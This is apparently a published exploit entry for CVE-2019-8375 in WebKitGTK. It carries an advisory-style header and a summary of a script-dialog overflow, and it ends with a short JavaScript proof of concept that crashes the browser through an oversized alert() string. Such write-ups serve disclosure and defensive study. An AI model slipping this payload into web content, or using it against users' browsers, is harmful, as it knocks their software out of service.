WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 – Denial of Service
#Exploit Title: Buffer overflow # Date: 27-02-2019 # Exploit Author: Dhiraj Mishra # Vendor Homepage: https://webkit.org/ # Software Link: https://gitlab.gnome.org/GNOME/epiphany # Version: 2.23.90 # Tested on: Linux 4.15.0-38-generic # CVE: CVE-2019-8375 # References: # https://nvd.nist.gov/vuln/detail/CVE-2019-8375 # https://www.inputzero.io/2019/02/fuzzing-webkit.html ## Summary: The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and WebKitGTK+ through 2.22.6 and other products, does not prevent the script dialog size from exceeding the web view size, which allows remote attackers to cause a denial of service (Buffer Overflow) or possibly have unspecified other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp, UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka Epiphany). ## PoC: <script> var a = ''; for (var i = 1; i <= 5000; i++) { a += 'A'; } alert(a); </script> |